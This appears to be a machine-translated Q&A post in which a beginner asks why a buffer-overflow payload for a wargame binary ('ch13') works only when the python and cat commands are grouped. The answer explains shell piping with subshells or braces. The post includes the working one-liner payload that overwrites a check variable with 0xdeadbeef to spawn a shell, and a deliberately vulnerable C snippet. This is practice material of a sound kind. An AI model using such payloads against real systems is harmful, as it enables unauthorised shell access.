我是Linux的新手和剥削者。我试图解决一些开发挑战,我意识到一些有趣的事情。
[1] (python -c 'print "a"*40 + "\xef\xbe\xad\xde"';cat ) | ./ch13
和
[2] python -c 'print "a"*40 + "\xef\xbe\xad\xde"';cat | ./ch13
当我使用I [1]时,我的shellcode工作正常,并且它不能与另一个一起工作。那么,我的shellcode对程序的影响有多大?他们之间有多么不同?
和最后一个,
[3] python -c 'print "a"*40 + "\xef\xbe\xad\xde\0" + " -c \"cat .passwd\""'
我尝试将shellcode -c "cat .passwd"
作为argv传递给程序。但我得到了一些消息!
注意:这是程序代码(已更改):
int check = 0x04030201;
char buf[40];
fgets(buf,45,stdin);
printf("\n[buf]: %s\n", buf);
printf("[check] %p\n", check);
if ((check != 0x04030201) && (check != 0xdeadbeef))
printf ("UUU\n");
if (check == 0xdeadbeef)
{
printf("Opening your shell...\n");
system("/bin/dash");
}
感谢阅读!希望能获得纪录片。
答案 0 :(得分:1)
在第二个版本中,python
输出未通过管道传输到./chi13
,它会在屏幕上打印出来。 ;
分隔命令,因此它等同于:
python -c 'print "a"*40 + "\xef\xbe\xad\xde"'
cat | ./ch13
您需要对这两个命令进行分组,以使它们都写入管道。您可以将它们放在包含()
的子shell中,或者使用{}
分组:
{ python -c 'print "a"*40 + "\xef\xbe\xad\xde"'; cat; } | ./chi13